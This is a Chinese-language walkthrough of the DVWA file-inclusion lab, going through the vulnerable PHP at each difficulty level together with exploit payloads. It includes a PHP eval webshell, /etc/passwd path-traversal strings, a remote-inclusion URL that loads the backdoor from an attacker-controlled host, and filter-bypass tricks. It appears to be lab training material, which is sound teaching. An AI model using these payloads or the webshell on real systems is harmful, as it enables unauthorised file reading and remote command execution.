File Inclusion

1. 题目

File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

2. Low

a. 代码分析

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

代码对于get的参数没有任何过滤和检测。由于page参数不可控,可能导致漏洞。

b. 漏洞利用

本地文件包含:

构建payload:?page=file4.php

得到隐藏文件:

查看/etc/passwd:?page=../../../../../../../../etc/passwd

远程文件包含:

在服务器上写后门

<?php
@eval($_POST['123']);
?>

构造payload:http://[ip]/DVWA/vulnerabilities/fi/?page=http://[ip]/backdoor.php

为了增加隐蔽性,可以对http://[ip]/backdoor.php进行编码。

使用菜刀连接

3. Medium

a. 代码分析

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>

代码对于输入的参数,进行了简单的替换。

b. 漏洞利用

此类替换可以使用双写的方式绕过。

LFI?page=..././..././..././..././..././..././..././etc/passwd

RFIhthttp://tp://[ip]/backdoor.php

4. High

a. 代码分析

<?php 

// The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
} ?>

代码对于输入参数限制必须为file开头,或者访问include.php。

fnmatch() 函数根据指定的模式来匹配文件名或字符串。
fnmatch(pattern,string,flags)
pattern 必需。规定要检索的模式。
string 必需。规定要检查的字符串或文件。
flags 可选。

b. 漏洞利用

使用file://协议,构建payload:file:///etc/passwd

RFL:需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。

5. impossible

a. 代码分析

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>

直接使用白名单机制,限制page参数必须为白名单中的字符串,彻底杜绝了文件包含漏洞。

最新文章

  1. js 的Location对象
  2. vim添加未识别文件类型
  3. hdu3448 01背包+dfs
  4. DSP using MATLAB 示例Example3.9
  5. Response.End()在Webform和ASP.NET MVC下的表现差异
  6. 38. Same Tree &amp;&amp; Symmetric Tree
  7. Maven进价:eclipse中集成maven
  8. The Separator in Grid_BFS
  9. php 建立类POST/GET 的HTTP请求
  10. C# 二叉查找树实现
  11. [HDU 1535]Invitation Cards[SPFA反向思维]
  12. ARM裸机开发中内存管理库RT_HEAP的使用
  13. VS2010暂停编译界面
  14. java HashSet改用
  15. 201521123056 《Java程序设计》第4周学习总结
  16. AI_深度学习概论
  17. .Net Framework项目引用.NetStandard标准库出现版本冲突解决办法
  18. Kotlin 接口
  19. 【转】AI类人工智能产品经理的丛林法则
  20. JAVA循环结构

热门文章

  1. 【Spring注解驱动开发】使用@Import注解给容器中快速导入一个组件
  2. 使用PD(Power Designer)设计数据库,并且生成可执行的SQL文件创建数据库(本文以SQL Server Management Studio软件执行为例)
  3. centos6 升级python2.6 到 python2.7
  4. LR脚本信息函数-lr_user_data_point
  5. CSS中可以继承的元素(需要记住)
  6. SFTP协议生成公共秘钥文件
  7. opencv C++全局直方图均衡化
  8. 39 _ 队列5 _ 循环队列需要几个参数来确定 及其含义的讲解.swf
  9. vwware虚拟机网卡的三种模式
  10. laravel Excel 导入